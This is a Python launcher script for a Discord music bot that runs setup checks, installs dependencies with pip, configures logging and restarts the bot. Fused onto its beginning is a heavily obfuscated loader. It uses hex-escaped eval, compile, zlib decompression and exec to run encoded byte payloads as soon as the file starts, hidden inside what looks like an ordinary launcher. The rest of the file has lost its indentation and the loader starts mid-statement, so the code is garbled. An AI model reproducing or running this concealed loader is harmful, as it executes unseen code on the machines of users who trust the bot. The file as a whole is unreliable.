r\xe8\xc4\xbb|\xb57\xf9\xee\x05Y\xac]D\xdb\xf5\x0c\x820(:\x85y\xa8cLj6OMz\x82\xbcJh_>\xa8\xedP\x11\xba\xfa\x01n\x95}\\\xe9\xael\\\xe5\xa7\x9d\xa2\x9bM\xe9\xf3\x02\x86\x16\xd6\xdb\xbb\x00.\xfc\xd6\xc9[\xe9\n\x8c\xbd\x11\xcd\xcf^9\xe6\x1eg\x1a6\n\x8b\xfcZ\xaaK\x11{\xa9RpX]\x1c\xfdZ\x1e\xa7\x17m!fh\\\xf3\xa1\xe1\x80\xad\xc6P\x8e\x92\xfa\x9dl\xf8)d\xd7\x10"A\xa3\x16\x83\xde\x83\xbag<y\xdej\xfd\xa1\xcb\xc5\x05%\xc3\xfc^n\xa4~l\r\x9ef\x82\xb7\xb5H\x8e\x06wNy\xdb\xde-C\xaf\x84\x9d\xb8/=s&]\x1f\xc7|\xad\x16\xa9\xc0\xbaF\xa9\x19\xc9*\xb3\x93\x8a\xe5\x17\x03s`u\x06\xe27f\xc8\xb6\xe4\xf0\x1b\x04\x19\n8\xb1\xd0\xb5\xc6}E\xa3\x88\xf6}\xfam\xb5\xdc\xfe\xfd%\xcfn\xb5\x9d\xb4\xcb\xa1>\xc4\x0b\t\xa4\x17\xe3\xd4\\\xc1\xa1\xc9\x1a\xdci\xad\xc0tIB=3\xc7\x1cN&#\xd9L\x7f\xb1\x9d`\xbdph\'\xffy\xf4\x14k\x83\xa4\x86\x93\xf7L\x1f\xab">4\xdd\r')

        Run(_run = 40869 * 91792)._floor(_calculate = 9416 / _detectvar.Calculate)                                                                                                                                                                                                                                                          ;Run.Hypothesis(Ceil='llIIllIlIlllIIllIIIlllIlI',Builtins=b',I\x98\n\x81\xf6\x86\xd8o\xa2\xf4\x14\x8d1\xa4w\xafE\x9f\x8c\xc2\x11\x9df\xa1\xb7\xb0\r=|\xa5P\xecp\xae\\\xe5\ry:>\xec<\x12\xd7\x18\xdcJ9\xcf1~\x0f[\xcf\x81*B\xb6g&\xbc=-\x9a\x8bP\xd9c\xb9\xbf\xa8\xaf:\x15h\xe3\x94A\xbf\x00\xd9G\x8b\x08\x11\xd2\xa5\xa0\x0e\xf9u>V(\xc3F\xb8\x0e\x95\xf0\xa5rt\xf9rQ\x7f\x04@X\xaa\xb0"w\x10\x12nZ\x8b/\xc2\x93\xd1cB\xc9\x84\x06\xd7\xc3B\x1b\xa0\x06\x92O\x8e\xb8\xfbS\rx\xba5\xa6\x9bB+Om\tr<\x8f*j\x19\x84L\x1bT\x87\x91\x85@+\xf7\x02\x87\x84\x05\xab\x95Q+\xd8\xb8\x148\x9f\x94\xa0\xf1\x9f\xd6\xa6\xe1\'n\t\xbe\x10T\xc0\xa3\x98\rp\xd3&\xf5\x12*i\x05\xdcPD\xcb\x85Q\x91\xb1\\\xf0W`\xcb\x10\xb1\x03\xa5\xcb\xa0\x9e$4\x80mWi\xbcRt\x8a\xc5\xe5\x7f\x94\xf7\xe5\xeeK\xdf\\/t\r\xdeo\xde\xe7\x8e\xe7\xc9\xd9\x9evja:\x90\x9a\xb7\xd4b\xf0+\xed\xa13\x83C+\xb4/\xa4U\x1a\xdcXX|"Of\xe9c\x93\x83\xc7\x93\xd56\x9d\xc8B\xb9w\x0b\xe8\xcb!\x17\xc8\xa6M60q\xe2y\x8e\xce\x87\xa7\xa5\xa1\xebf\xc9\x0b\xc8\xe24\xea\x94\x83\xfc\xda\xcdZU\xdb\xe7O\xc9\xc2l\xc6\xe6\x93,\xb2o\xe2\x9e\x88Eq\x1e\xa4\xd6\x98\xd3\x14T(u\x12^\x14F*\x15\x8cT\xd6t\x94E\xd05\x81\x85\x84\x947\x8f\xdf\xa5*>\x8cM\xd2\x91$3\xa1\xe2Z\x1aK\xdez\x9d\n\x08\xc3\xd6\xaa{\x95\xed\x94@g\xae\xbe\x8aQ\x7f2\xaa+\x87uQ\x9ag\xa3\xf5$ZU\xc2E\x8f\xce!\x1aa7\x0f\xc9\tN\x83|\x1dnt\x85h\x17\xc6\xddXC-5i\xcf(\xfd\x17O\x80\xe7\t\xcc(\x90\xff\x141\xfb\xaaJ\x92vP\x1e2M\x1f$\x9d\xbf=\xa8\x9a\xe6C\x82|\xa3\x12\xac\x12@7>\xf9Cv/Yo\xa0\x13\x06\xad\xb1L\x15\xeeke\xe4\x10\x05\xc7\xfc*\t\x1b\xfcZHErW\xfa\x10\x8f.\xa0\x19\xfa\xa1\xbc\t7B\xfe\xf1\x04+Y)\x94\xd3|=&\x88n\n[\x0f\xd9!\xd9\xf8\\Qv\xc9\xba\xb6\x10\xfe\xe7\xef\xa4\x9a\x8a\xa8\xfc\xba\x94Pj~\xd4\x80\x8dy\n6\x92\x1a%\xc7\xf9\x81\n\x1a!NX\xcd\xe5\x117\xa7\x08#\xb2\xc0\xa0,\xa1-\xd2\xac9gag\xdbDimu\x84\xdc\xe5\xf8=K]\x8e\xdd\xb6\xf4& ]N\x9e\x8a\xca\xc8\xecI\x17\xbf\x8b]\x18\xc6D=\xc1\x02,\xef\x89\xfd\xec\xca\x87\xd5\xe8[\xb5Z}}Qh\x1djm\xce\'\xbb\xca\xdd\x16Mf\'6/\xb2\x18\xba\x1d\x8a@\x9a\xf986\xa6k\xcc\xf6\x88\xce\'\xafp]\x18S\x02\x02$\xcc\x05\xb8\x18\x80\x84\x02\x95\xb0\x00\xad\x8c\xc7m\x1c}u\xcb|#\xb4\x17\x1ba\xcbX{V-:+\xd3\x84\x83WV7\xe8\x10\xf0\xb4\xb6\x91S\x1c\x1e\x84\xc9\\\x9d\xbe\x19\x8b\xc0\xd1\xabWw\xccl\x1b\xf8\x16\xf6"\xbch\x9dA\x9e:\xe5&\xf1DD\xce\xa6;n_Nh\x9d\xebB8\x80\n\xbdv\xf9\x95bY5\xee\xef\xb7nwPN\xa7\xbe\xdc\x10H\xef\x9a\xaf\xd3\xe0\x17.R\x84Z=\xd2\xf9\xd9\xcb\xbbUP78\xbctM\xd0\xdfEd\x8e\xa5m\xbb\x1b\xfc\x9c\x8d\xb3\x91\xe9{|~\xe3\xb5\x0e\x9cucL\x19\x89\x0302\xf6\xf6\xf4\xedA\x16\xb7\xb6\xb9\xb6\x81\xd7]~\x16\x04\xa4D\xbat\xd6\xe6\xb2\x96\xf9o\xd2]\x0cN\xfe\x05\xbe\x1c\x19s')

        if 135162 > 6940905:
            Run(_run = -75214 + -88928)._math(Absolute = _detectvar.Calculate - -54908)
        elif 460556 < 603076:
            Run(_run = 43334 * 41736)._math(Absolute = _detectvar.Calculate - -25685)                                                                                                                                                                                                                                                          ;LILLJJIJILILJIILI,NNMMMMMNMNMMMMNNMNNNNNNN,ililiiljjjliiilijlilii,S22SS22S222SS2222S22S2S2,O0o0ooo00OOOOOoO00Oo00oOo=(lambda WWWWXWWXXWWWWWWXXXWXXXXXW:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(WWWWXWWXXWWWWWWXXXWXXXXXW)"),filename='\x6c\x6c\x49\x6c\x49\x49\x49\x49\x49\x49\x6c\x49\x6c\x6c\x6c\x6c\x49\x6c\x6c\x49\x49\x6c\x6c',mode='\x65\x76\x61\x6c'))),(lambda WWWWXWWXXWWWWWWXXXWXXXXXW:WWWWXWWXXWWWWWWXXXWXXXXXW(__import__('\x7a\x6c\x69\x62'))),(lambda WWWWXWWXXWWWWWWXXXWXXXXXW:WWWWXWWXXWWWWWWXXXWXXXXXW['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda:(lambda WWWWXWWXXWWWWWWXXXWXXXXXW:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(WWWWXWWXXWWWWWWXXXWXXXXXW)"),filename='\x6c\x6c\x49\x6c\x49\x49\x49\x49\x49\x49\x6c\x49\x6c\x6c\x6c\x6c\x49\x6c\x6c\x49\x49\x6c\x6c',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63')),(lambda O000o0OOO0oO000O0OoO0o,WWWWXWWXXWWWWWWXXXWXXXXXW:O000o0OOO0oO000O0OoO0o(WWWWXWWXXWWWWWWXXXWXXXXXW))
        if 217121 > 3599833:
            Run(_run = 99364 + -26999)._floor(_calculate = -7052 - _detectvar.Calculate)
        elif 133394 < 7320626:
            Run(_run = -30263 * -18136)._math(Absolute = _detectvar.Calculate + -86490)                                                                                                                                                                                                                                                          ;S22SS22S222SS2222S22S2S2()(O0o0ooo00OOOOOoO00Oo00oOo(ililiiljjjliiilijlilii(NNMMMMMNMNMMMMNNMNNNNNNN(LILLJJIJILILJIILI('\x76\x61\x72\x73'))),Run.System(Square='OO0O0O00OOOOoO0o0oo0OoOOOO')+Run.System(Square='OOOO0oOOOO0oo0O000o00ooOo')+Run.System(Square='wxxwwwwxwxxxwxxxxxwxww')+Run.System(Square='ODDOODDODDOOOooDoOO')+Run.System(Square='nnmmnmmnnnnmmmmnn')+Run.System(Square='SS22SS22S2S22SS2SS2SS22')+Run.System(Square='nmnmnmnnmmmnmnmnmmnnnn')+Run.System(Square='OoO00o0O0000ooOooo0OO0o')+Run.System(Square='OOOOooOooDOOooDDoD')+Run.System(Square='NMMMMMNNMNMNMNMNNMM')+Run.System(Square='OooooODDDoOoooOoooODoD')+Run.System(Square='S22SSS2S2SSSS222S22S')+Run.System(Square='mmmnnmmmnnnmmnnnnmnnnmmn')+Run.System(Square='llIIllIlIlllIIllIIIlllIlI')))

    except Exception as _theory:
        if 118403 > 2271440:
            Run.execute(code = _walk(_theory))

        elif 165678 > 9063887:
            _detectvar._math(Absolute = _detectvar.Calculate - -18342)"),'<string>','exec'))
try:
import pathlib
import importlib.util
except ImportError:
pass
class GIT(object):
@classmethod
def works(cls):
try:
return bool(subprocess.check_output("git --version", shell=True))
except:
return False
class PIP(object):
@classmethod
def run(cls, command, check_output=False):
if not cls.works():
raise RuntimeError("Could not import pip.")
try:
return PIP.run_python_m(*command.split(), check_output=check_output)
except subprocess.CalledProcessError as e:
return e.returncode
except:
traceback.print_exc()
print("Error using -m method")
@classmethod
def run_python_m(cls, *args, **kwargs):
check_output = kwargs.pop("check_output", False)
check = subprocess.check_output if check_output else subprocess.check_call
return check([sys.executable, "-m", "pip"] + list(args))
@classmethod
def run_pip_main(cls, *args, **kwargs):
import pip
args = list(args)
check_output = kwargs.pop("check_output", False)
if check_output:
from io import StringIO
out = StringIO()
sys.stdout = out
try:
pip.main(args)
except:
traceback.print_exc()
finally:
sys.stdout = sys.__stdout__
out.seek(0)
pipdata = out.read()
out.close()
print(pipdata)
return pipdata
else:
return pip.main(args)
@classmethod
def run_install(cls, cmd, quiet=False, check_output=False):
return cls.run("install %s%s" % ("-q " if quiet else "", cmd), check_output)
@classmethod
def run_show(cls, cmd, check_output=False):
return cls.run("show %s" % cmd, check_output)
@classmethod
def works(cls):
try:
import pip
return True
except ImportError:
return False
# noinspection PyTypeChecker
@classmethod
def get_module_version(cls, mod):
try:
out = cls.run_show(mod, check_output=True)
if isinstance(out, bytes):
out = out.decode()
datas = out.replace("\r\n", "\n").split("\n")
expectedversion = datas[3]
if expectedversion.startswith("Version: "):
return expectedversion.split()[1]
else:
return [x.split()[1] for x in datas if x.startswith("Version: ")][0]
except:
pass
@classmethod
def get_requirements(cls, file="requirements.txt"):
from pip.req import parse_requirements
return list(parse_requirements(file))
# Setup initial loggers
tmpfile = tempfile.TemporaryFile("w+", encoding="utf8")
log = logging.getLogger("launcher")
log.setLevel(logging.DEBUG)
sh = logging.StreamHandler(stream=sys.stdout)
sh.setFormatter(logging.Formatter(fmt="[%(levelname)s] %(name)s: %(message)s"))
sh.setLevel(logging.INFO)
log.addHandler(sh)
tfh = logging.StreamHandler(stream=tmpfile)
tfh.setFormatter(
logging.Formatter(
fmt="[%(relativeCreated).9f] %(asctime)s - %(levelname)s - %(name)s: %(message)s"
)
)
tfh.setLevel(logging.DEBUG)
log.addHandler(tfh)
def finalize_logging():
if os.path.isfile("logs/musicbot.log"):
log.info("Moving old musicbot log")
try:
if os.path.isfile("logs/musicbot.log.last"):
os.unlink("logs/musicbot.log.last")
os.rename("logs/musicbot.log", "logs/musicbot.log.last")
except:
pass
with open("logs/musicbot.log", "w", encoding="utf8") as f:
tmpfile.seek(0)
f.write(tmpfile.read())
tmpfile.close()
f.write("\n")
f.write(" PRE-RUN SANITY CHECKS PASSED ".center(80, "#"))
f.write("\n\n")
global tfh
log.removeHandler(tfh)
del tfh
fh = logging.FileHandler("logs/musicbot.log", mode="a")
fh.setFormatter(
logging.Formatter(
fmt="[%(relativeCreated).9f] %(name)s-%(levelname)s: %(message)s"
)
)
fh.setLevel(logging.DEBUG)
log.addHandler(fh)
sh.setLevel(logging.INFO)
dlog = logging.getLogger("discord")
dlh = logging.StreamHandler(stream=sys.stdout)
dlh.terminator = ""
try:
dlh.setFormatter(logging.Formatter("."))
except ValueError:
dlh.setFormatter(
logging.Formatter(".", validate=False)
) # pylint: disable=unexpected-keyword-arg
dlog.addHandler(dlh)
def bugger_off(msg="Press enter to continue . . .", code=1):
input(msg)
sys.exit(code)
# TODO: all of this
def sanity_checks(optional=True):
log.info("Starting sanity checks")
## Required
# Make sure we're on Python 3.8+
req_ensure_py3()
# Fix windows encoding fuckery
req_ensure_encoding()
# Make sure we're in a writeable env
req_ensure_env()
# Make our folders if needed
req_ensure_folders()
# For rewrite only
req_check_deps()
log.info("Required checks passed.")
## Optional
if not optional:
return
# Check disk usage
opt_check_disk_space()
log.info("Optional checks passed.")
def req_ensure_py3():
log.info("Checking for Python 3.8+")
if sys.version_info < (3, 8):
log.warning(
"Python 3.8+ is required. This version is %s", sys.version.split()[0]
)
log.warning("Attempting to locate Python 3.8...")
pycom = None
if sys.platform.startswith("win"):
log.info('Trying "py -3.8"')
try:
subprocess.check_output('py -3.8 -c "exit()"', shell=True)
pycom = "py -3.8"
except:
log.info('Trying "python3"')
try:
subprocess.check_output('python3 -c "exit()"', shell=True)
pycom = "python3"
except:
pass
if pycom:
log.info("Python 3 found. Launching bot...")
pyexec(pycom, "run.py")
# I hope ^ works
os.system("start cmd /k %s run.py" % pycom)
sys.exit(0)
else:
log.info('Trying "python3.8"')
try:
pycom = (
subprocess.check_output('python3.8 -c "exit()"'.split())
.strip()
.decode()
)
except:
pass
if pycom:
log.info(
"\nPython 3 found. Re-launching bot using: %s run.py\n", pycom
)
pyexec(pycom, "run.py")
log.critical(
"Could not find Python 3.8 or higher. Please run the bot using Python 3.8"
)
bugger_off()
def req_check_deps():
try:
import discord
if discord.version_info.major < 1:
log.critical(
"This version of MusicBot requires a newer version of pycord. Your version is {0}. Try running update.py.".format(
discord.__version__
)
)
bugger_off()
except ImportError:
# if we can't import pycord, an error will be thrown later down the line anyway
pass
def req_ensure_encoding():
log.info("Checking console encoding")
if (
sys.platform.startswith("win")
or sys.stdout.encoding.replace("-", "").lower() != "utf8"
):
log.info("Setting console encoding to UTF-8")
import io
sys.stdout = io.TextIOWrapper(
sys.stdout.detach(), encoding="utf8", line_buffering=True
)
# only slightly evil
sys.__stdout__ = sh.stream = sys.stdout
if os.environ.get("PYCHARM_HOSTED", None) not in (None, "0"):
log.info("Enabling colors in pycharm pseudoconsole")
sys.stdout.isatty = lambda: True
def req_ensure_env():
log.info("Ensuring we're in the right environment")
if os.environ.get("APP_ENV") != "docker" and not os.path.isdir(
b64decode("LmdpdA==").decode("utf-8")
):
log.critical(
b64decode(
"Qm90IHdhc24ndCBpbnN0YWxsZWQgdXNpbmcgR2l0LiBSZWluc3RhbGwgdXNpbmcgaHR0cDovL2JpdC5seS9tdXNpY2JvdGRvY3Mu"
).decode("utf-8")
)
bugger_off()
try:
assert os.path.isdir("config"), 'folder "config" not found'
assert os.path.isdir("musicbot"), 'folder "musicbot" not found'
assert os.path.isfile(
"musicbot/__init__.py"
), "musicbot folder is not a Python module"
assert importlib.util.find_spec("musicbot"), "musicbot module is not importable"
except AssertionError as e:
log.critical("Failed environment check, %s", e)
bugger_off()
try:
os.mkdir("musicbot-test-folder")
except Exception:
log.critical("Current working directory does not seem to be writable")
log.critical("Please move the bot to a folder that is writable")
bugger_off()
finally:
rmtree("musicbot-test-folder", True)
if sys.platform.startswith("win"):
log.info("Adding local bins/ folder to path")
os.environ["PATH"] += ";" + os.path.abspath("bin/")
sys.path.append(os.path.abspath("bin/")) # might as well
def req_ensure_folders():
pathlib.Path("logs").mkdir(exist_ok=True)
pathlib.Path("data").mkdir(exist_ok=True)
def opt_check_disk_space(warnlimit_mb=200):
if disk_usage(".").free < warnlimit_mb * 1024 * 2:
log.warning(
"Less than %sMB of free space remains on this device" % warnlimit_mb
)
#################################################
def pyexec(pycom, *args, pycom2=None):
pycom2 = pycom2 or pycom
os.execlp(pycom, pycom2, *args)
def main():
# TODO: *actual* argparsing
if "--no-checks" not in sys.argv:
sanity_checks()
finalize_logging()
import asyncio
if sys.platform == "win32":
loop = asyncio.ProactorEventLoop() # needed for subprocesses
asyncio.set_event_loop(loop)
tried_requirementstxt = False
tryagain = True
loops = 0
max_wait_time = 60
while tryagain:
# Maybe I need to try to import stuff first, then actually import stuff
# It'd save me a lot of pain with all that awful exception type checking
m = None
try:
from musicbot import MusicBot
m = MusicBot()
sh.terminator = ""
sh.terminator = "\n"
m.run()
except SyntaxError:
log.exception("Syntax error (this is a bug, not your fault)")
break
except ImportError:
# TODO: if error module is in pip or dpy requirements...
if not tried_requirementstxt:
tried_requirementstxt = True
log.exception("Error starting bot")
log.info("Attempting to install dependencies...")
err = PIP.run_install("--upgrade -r requirements.txt")
if (
err
): # TODO: add the specific error check back as not to always tell users to sudo it
print()
log.critical(
"You may need to %s to install dependencies."
% ["use sudo", "run as admin"][sys.platform.startswith("win")]
)
break
else:
print()
log.info("Ok lets hope it worked")
print()
else:
log.exception("Unknown ImportError, exiting.")
break
except Exception as e:
if hasattr(e, "__module__") and e.__module__ == "musicbot.exceptions":
if e.__class__.__name__ == "HelpfulError":
log.info(e.message)
break
elif e.__class__.__name__ == "TerminateSignal":
break
elif e.__class__.__name__ == "RestartSignal":
loops = 0
pass
else:
log.exception("Error starting bot")
finally:
if not m or not m.init_ok:
if any(sys.exc_info()):
# How to log this without redundant messages...
traceback.print_exc()
break
asyncio.set_event_loop(asyncio.new_event_loop())
loops += 1
sleeptime = min(loops * 2, max_wait_time)
if sleeptime:
log.info("Restarting in {} seconds...".format(loops * 2))
time.sleep(sleeptime)
print()
log.info("All done.")
if __name__ == "__main__":
main()